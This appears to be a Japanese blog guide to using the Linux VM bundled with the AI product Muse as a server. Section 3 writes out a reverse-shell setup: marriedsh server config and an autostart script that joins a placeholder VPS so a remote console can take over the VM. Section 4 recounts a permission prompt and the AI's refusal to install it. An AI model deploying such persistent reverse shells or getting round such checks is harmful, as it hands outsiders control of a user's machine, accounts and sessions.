Muse の隠れた特典: 無料の2コア Linux VM をサーバーとして活用する方法

Muse は、すべてのアカウントに独立した Linux 仮想マシンを割り当てています。よくこんな質問を受けます。「この無料のクラウド PC を、本物のクラウドサーバー（VPS）として使えるのか？」「ネットに出回っているリバースシェルトンネリングのチュートリアルは本当に信頼できるのか？」

私はネイティブな CDP 自動化ツールを使って、Muse の全工程を実機テストしました。ハードウェア構成の確認、ネットワーク権限の解除、リバースシェルが実際にブロックされる様子、そしてスクリプト実行用の「規約準拠のクラウドサーバー」としての活用法まで、すべてを検証し、この実践ガイド兼・失敗回避マニュアルにまとめました。

1. 実機テスト：2 コア 8G / 100G ディスクがそのまま使えるか検証

Muse は単なる一時的な会話サンドボックスだと思い込んでいる人が多いのですが、ターミナルでネイティブなシステム検出コマンドを実行すれば、このホストマシンの本当の物理スペックがはっきり分かります。

ターミナルに以下のコマンドを入力しました。

1nproc
2free -h
3df -h
4uname -a
5whoami && pwd

実際のターミナル出力結果は次の通りです。

1. CPU スペック：2 コア（x86_64）
2. メモリ容量：合計 7.7 GiB、システム基本使用量 約 5.3 GiB、利用可能メモリ 約 2.5 GiB
3. ディスクマウント：ルートパーティションには 7.5 GiB が割り当てられ、/home/hatch ユーザーのホームディレクトリ配下には、独立した 100 GiB の永続ディスク（/dev/mapper/rv）がマウントされている
4. OS：Ubuntu 24.04.5 LTS（Noble Numbat）、カーネルバージョン 7.0.0-generic
5. 実行権限：デフォルトで root として /home/hatch ディレクトリ内で動作する

テストの結果、登録ユーザー全員に「2 コア / 8G / 100G」の完全な独立 Linux 環境が提供されていることが確認できました。

2. 基本開発ツールチェーンと外部通信のプロービング

このマシンで独自のバックグラウンドツールを動かすには、標準搭載の開発ツールとネットワーク制限を把握しておく必要があります。

ターミナルでの追加調査結果は以下の通りです。

• プリインストールツール：git 2.43.0 と curl 8.5.0 が標準搭載されており、基本的なネットワーク通信や取得ツールはすぐに使えます。
• 開発環境：Rust（rustc）はプリインストールされていません。Rust プロジェクトをコンパイルする場合は、公式スクリプトからインストールするか、コンパイル済みバイナリを直接使う必要があります。
• 外部通信状況：curl -Is https://github.com を実行すると HTTP 200 が返り、内部セキュリティプロキシ経由でアウトバウンド通信は正常に通ります。
• 再起動後も残るディレクトリ：システムに確認したところ、/home/hatch 配下に作成した /home/hatch/pdata ディレクトリは再起動後もデータが保持されるため、自作バイナリツールや業務データの保存に適しています。

3. 学習用デモ：推奨されるリバーストンネル構成の仕組み

なぜリバース接続を設定しようとする人がいるのでしょうか？それは Muse がクラウドのイントラネットサンドボックス内で動作しており、外部の公衆ネットワークから IP アドレス経由でこの仮想マシンに直接アクセスできないからです。

一般的なトンネリングの発想はこうです。リバースプロキシツール（marriedsh など）を使って Muse から外部のパブリック VPS に主动接続させ、その VPS 側からターミナル Shell を乗っ取る。

この手法の標準的な設定手順は以下の通りです。

1. 外部パブリック VPS の準備

パブリック IP を持つ独立した VPS 上で、サーバーサイドをコンパイルしてデプロイします。

1# 1. marriedsh のクローンとコンパイル
2git clone https://github.com/swigger/marriedsh.git
3cd marriedsh && cargo build --release
4sudo cp target/release/marriedsh /usr/local/bin/
5
6# 2. サーバー認証の設定 ~/.config/marriedsh/config.toml
7mkdir -p ~/.config/marriedsh
8cat << 'EOF' > ~/.config/marriedsh/config.toml
9[server]
10bind = "0.0.0.0:8888"
11password = "your_secure_password"
12credential = "clark"
13EOF

2. Muse クライアントの自動起動スクリプト作成

Muse のターミナルで自動起動スクリプト /home/hatch/init.sh を設定し、起動時やタスク実行時に VPS へのリバースチャネルが自動確立されるようにします。

1mkdir -p /home/hatch/pdata/bin
2
3cat << 'EOF' > /home/hatch/init.sh
4#!/bin/bash
5# 起動時に Muse VM バックグラウンドでリバースデーモンを実行
6/home/hatch/pdata/bin/marriedsh join --lock /run/msh.lock -p your_secure_password --credential clark YOUR_VPS_IP:8888 > /home/hatch/pdata/msh.log 2>&1 &
7EOF
8
9chmod +x /home/hatch/init.sh

3. VPS コンソールからの乗っ取り

接続が確立したら、VPS 側でコマンドを実行してリモート Shell を取得します。

1marriedsh console -n clark

4. 実機検証：なぜリバースシェルの強制実行はセキュリティにブロックされるのか？

上記の手順を実機のターミナルで試してみました。テスト結果から、2 つの重要な事実が判明しました。

1. Sentinel による単一コマンドの分離ゲート

Muse に git clone https://github.com/swigger/marriedsh.git の実行を指示したところ、即座に Sentinel メカニズムによるブロック画面が表示されました。

Muse が github.com と情報を共有することを許可しますか？ [1 回だけ許可] [このサイトを常に許可] [拒否]

テストで確認できたこと：ユーザーが明示的に「許可」をクリックするまでは、未知の外部ドメインと通信しようとするあらゆる操作がシステムによって保留されます。

2. リバースシェルに対する自動的な意味的リスク管理と拒否メカニズム

権限を承認し、コードが /home/hatch/workspace/marriedsh に正常にクローンされた後、自動起動用の永続化スクリプトを書き込もうとした段階で、Muse の基盤アライメントモデルが自らセキュリティブロックを実行し、明確な拒否メッセージを返しました。

「今回は実行しません。2 点明確にしておきます。まず、先ほど承認されたのは git clone コマンドのみであり、自動起動スクリプトの書き込みではありません。承認は他のステップに引き継げません。次に、marriedsh はリバースシェルです。インストールして自動起動に設定すれば、外部サーバーがこの VM 上で任意のコマンドを実行できるようになります。しかもこのマシンは、あなたのメモリファイル、連携アカウント、ブラウザセッションにアクセスできます。ターゲット IP とパスワードがプレースホルダーであることも踏まえ、コンパイルも実行も行いません。」

私のテストが証明しているのは、リバースシェルの強制実行は行き止まりだということです。セキュリティモデルにブロックされるだけでなく、異常な長期外部接続としてリスク管理による BAN のトリガーにもなります。

5. 本当の核心：トンネルなしでこのマシンを「規約準拠の VPS」として使う方法

多くの人は「SSH クライアントで接続できなければサーバーとは呼べない」という固定観念にとらわれています。

テストを通じて分かった、この仮想マシンを VPS として正しく活用する方法は、「全天候型のデータ処理・自動化実行ハブ」へと転換することです。

1. チャット欄をスーパーターミナルとして扱う：

わざわざ黒いターミナル画面を開く必要はありません。セッション内で直接コマンドを指示すれば、バックグラウンドで Python を呼び出してスクリプト実行、データ処理、形式変換などを root 権限で行ってくれます。

1. `/home/hatch/pdata` で永続クラウドドライブを構築する：

コード、Python スクリプト、クリーニング結果はすべて pdata ディレクトリに入れます。テストで確認したところ、この 100G ディスク上のファイルは、別デバイスからログインし直しても、再起動しても消えずに残ります。

1. スケジュールタスクで 24 時間常駐デーモンを実現する：

「Web ページを閉じると電源が落ちる」という痛点は、公式サポートされているスケジュールタスク機能で解決できます。毎日決まった時間に自動起動させ、バックグラウンドでバッチ処理を実行し、監査ログ（audit.log）を書き出させることができます。

1. Artifacts でビジュアルダッシュボードを出力する：

通常の VPS ではスクリプト実行後にログを見るだけですが、Muse はデータを直接処理して、インタラクティブな Web アプリのフロントエンドダッシュボードとして出力できます。

6. まとめと失敗回避の鉄則

1. ハードウェア特典は本物：テストの結果、Meta が各ユーザーに 2 コア / 8G / 100G SSD の独立環境を提供していることが確認できました。計算基盤としては非常に堅牢です。
2. リバースシェルは諦める：リバースプロキシの罠にはまらないでください。機能しない上に、リスク管理による BAN を招きやすくなります。
3. 規約準拠こそが生産性：/home/hatch/pdata の永続ストレージとスケジュールタスクのタイマー機能をうまく使いこなし、コストゼロで自分だけの全天候型データ処理パイプラインを稼働させましょう。

さすが大企業といったところです。標準的な VPS として使うのは難しいかもしれませんが、他にも遊び方はたくさんあります……次回のテストテーマ：設定不要の永続ディレクトリ活用と、Python データクレンジングスクリプトの作成……